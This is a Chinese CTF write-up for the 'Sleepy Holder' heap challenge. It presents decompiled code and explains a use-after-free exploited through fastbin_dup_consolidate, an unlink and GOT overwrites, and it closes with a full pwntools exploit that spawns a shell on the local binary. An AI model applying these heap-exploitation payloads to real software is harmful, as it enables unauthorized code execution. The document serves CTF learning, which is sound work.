检查文件信息
1
2
ELF64小端动态链接的bin,没有开PIE和FULL RELRO。
4
ubuntu14.04应该用glibc_2.19,我这里用的glibc2.23,如果要用2.19的libc可以整一个本地的libc-database,然后下载相应版本即可。
20
改libc为glibc2.23。
试运行
6
逆向分析
/* main */
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
unsigned int buf; // [rsp+4h] [rbp-1Ch] BYREF
int fd; // [rsp+8h] [rbp-18h]
int v6; // [rsp+Ch] [rbp-14h]
char s[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v8; // [rsp+18h] [rbp-8h]
v8 = __readfsqword(0x28u);
sub_400CEB(a1, a2, a3);
puts("Waking Sleepy Holder up ...");
fd = open("/dev/urandom", 0);
read(fd, &buf, 4uLL);
buf &= 0xFFFu;
malloc(buf); // 初始化堆
sleep(3u);
puts("Hey! Do you have any secret?");
puts("I can help you to hold your secrets, and no one will be able to see it :)");
while ( 1 )
{
puts("1. Keep secret");
puts("2. Wipe secret");
puts("3. Renew secret");
memset(s, 0, 4uLL);
read(0, s, 4uLL);
v3 = atoi(s);
v6 = v3;
switch ( v3 )
{
case 2:
wipe();
break;
case 3:
renew();
break;
case 1:
keep();
break;
}
}
}
/* keep */
unsigned __int64 keep()
{
int v0; // eax
char s[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("What secret do you want to keep?");
puts("1. Small secret");
puts("2. Big secret");
if ( !huge_in_use ) // 只可申请一次huge
puts("3. Keep a huge secret and lock it forever");
memset(s, 0, 4uLL);
read(0, s, 4uLL);
v0 = atoi(s);
if ( v0 == 2 )
{
if ( !big_in_use )
{
big_ptr = calloc(1uLL, 0xFA0uLL);
big_in_use = 1;
puts("Tell me your secret: ");
read(0, big_ptr, 0xFA0uLL); // 可能泄露信息
}
}
else if ( v0 == 3 )
{
if ( !huge_in_use )
{
huge_ptr = calloc(1uLL, 0x61A80uLL);
huge_in_use = 1;
puts("Tell me your secret: ");
read(0, huge_ptr, 0x61A80uLL); // 可能泄露信息
}
}
else if ( v0 == 1 && !small_in_use )
{
small_ptr = calloc(1uLL, 0x28uLL);
small_in_use = 1;
puts("Tell me your secret: ");
read(0, small_ptr, 0x28uLL); // 可能泄露信息
}
return __readfsqword(0x28u) ^ v3;
}
/* wipe */
unsigned __int64 wipe()
{
int v0; // eax
char s[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Which Secret do you want to wipe?"); // 不可释放huge
puts("1. Small secret");
puts("2. Big secret");
memset(s, 0, 4uLL);
read(0, s, 4uLL);
v0 = atoi(s);
if ( v0 == 1 )
{
free(small_ptr); // 未置零,UAF
small_in_use = 0;
}
else if ( v0 == 2 )
{
free(big_ptr); // 未置零,UAF
big_in_use = 0;
}
return __readfsqword(0x28u) ^ v3;
}
/* renew */
unsigned __int64 renew()
{
int v0; // eax
char s[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Which Secret do you want to renew?");
puts("1. Small secret");
puts("2. Big secret");
memset(s, 0, 4uLL);
read(0, s, 4uLL);
v0 = atoi(s);
if ( v0 == 1 )
{
if ( small_in_use )
{
puts("Tell me your secret: ");
read(0, small_ptr, 0x28uLL); // 可能存在信息泄露
}
}
else if ( v0 == 2 && big_in_use )
{
puts("Tell me your secret: ");
read(0, big_ptr, 0xFA0uLL); // 可能存在信息泄露
}
return __readfsqword(0x28u) ^ v3;
}
漏洞利用
因为存在一次large bin的申请,会触发__malloc_consolidate,而且存在UAF漏洞,可以通过fastbin_dup_consolidate来形成double free,而且这个过程会把后一个chunk的PREV_INUSE位置为0。而small_ptr的大小为0x28,对齐时可以修改后一个chunk的prev_size位,可控空间大小为0x28,可以构造fake_chunk进而形成unlink,达到任意地址写。
首先进行unlink
def unlink():
keep(1,b'b'*0x8)
keep(2,b'a'*0x8)
wipe(1)
#debug()
keep(3,b'a'*0x8) # FDC mov 1-> small bin and set 2->PREV_INUSE=0
#debug()
wipe(1) # DF
#debug()
payload = p64(0) + p64(0x21)
payload += p64(small_ptr-0x18)
payload += p64(small_ptr-0x10)
payload += p64(0x20)
keep(1,payload)
#debug()
wipe(2)
#debug()
9
首先申请small,big两个堆块,然后释放small,因为程序在main函数里已经进行过初始化操作,所以small会被放入fastbin。
10
再次申请一个large bins大小的chunk,会触发fastbin_dup_consolidate(),然后将fast bin中的small拿出来放入small bins。
11
此时再次释放small,便可绕过double free检查,small被同时放入small bins和fast binY。
12
因为small的大小为0x28,会占用后一个chunk的prev_size位,我们可以再次将small申请回来,构造fake chunk,fake_fd,fake_bk和修改下一个chunk的prev_size。关于unlink的原理我不在赘述,请看我的上一篇文章(HITCON CTF 2016:Secret Holder)
13
此时释放big即可完成unlink,将small_ptr指向了自身上方0x18的位置。
然后利用打印函数泄露libc,再根据bss的布局调整重写即可
def get_shell():
keep(2,b'a'*0x8)
# 6020B8->AAAAAAA big_ptr huge_ptr small_ptr big_in_use huge_in_use
payload = b"A"*8 + p64(puts_got) + p64(0) + p64(free_got) + p32(1) + p32(1)
renew(1,payload)
renew(1,p64(puts_plt))
debug()
wipe(2)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
keep(2,b'a'*0x8)
renew(1,p64(system_addr))
renew(2, b'/bin/sh\x00')
wipe(2)
14
在IDA里可以看到bss布局
15
我们改完以后(renew(1,payload)之后)bss布局。
16
再次修改small内容,就是修改free_got内容,将free_got换成puts_plt,打印big内容就可以把puts_got打印出来,进而得到libc基址。
17
18
然后将free_got内容改为system函数地址,在申请一个big,将其内容改为'/bin/sh\x00',释放big既可以getshell。
19
完整exp
from pwn import *
context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
elf = ELF('./SleepyHolder')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
small_ptr = 0x6020d0 # 1 0x28 0x30
big_ptr = 0x6020c0 # 2 0xfa0
huge_ptr = 0x6020c8 # 3 0x61a80
p = process("./SleepyHolder")
def debug():
gdb.attach(p)
pause()
def keep(index, content):
p.recvuntil(b"Renew secret\n")
p.sendline(b"1")
p.recvuntil(b"\n")
p.sendline(str(index).encode())
p.recvuntil(b"secret: \n")
p.send(content)
def wipe(index):
p.recvuntil(b"3. Renew secret\n")
p.sendline(b"2")
p.recvuntil(b"Big secret\n")
p.send(str(index).encode())
def renew(index, content):
p.recvuntil(b"Renew secret\n")
p.sendline(b"3")
p.recvuntil(b"Big secret\n")
p.sendline(str(index).encode())
p.recvuntil(b"secret: \n")
p.send(content)
def unlink():
keep(1,b'b'*0x8)
keep(2,b'a'*0x8)
wipe(1)
#debug()
keep(3,b'a'*0x8) # FDC mov 1-> small bin and set 2->PREV_INUSE=0
#debug()
wipe(1) # DF
#debug()
payload = p64(0) + p64(0x21)
payload += p64(small_ptr-0x18)
payload += p64(small_ptr-0x10)
payload += p64(0x20)
keep(1,payload)
#debug()
wipe(2)
#debug()
def get_shell():
keep(2,b'a'*0x8)
# 6020B8->AAAAAAA big_ptr huge_ptr small_ptr big_in_use huge_in_use
payload = b"A"*8 + p64(puts_got) + p64(0) + p64(free_got) + p32(1) + p32(1)
renew(1,payload)
renew(1,p64(puts_plt))
#debug()
wipe(2)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
keep(2,b'a'*0x8)
renew(1,p64(system_addr))
renew(2, b'/bin/sh\x00')
#debug()
wipe(2)
def pwn():
unlink()
get_shell()
p.interactive()
if __name__ == '__main__':
pwn()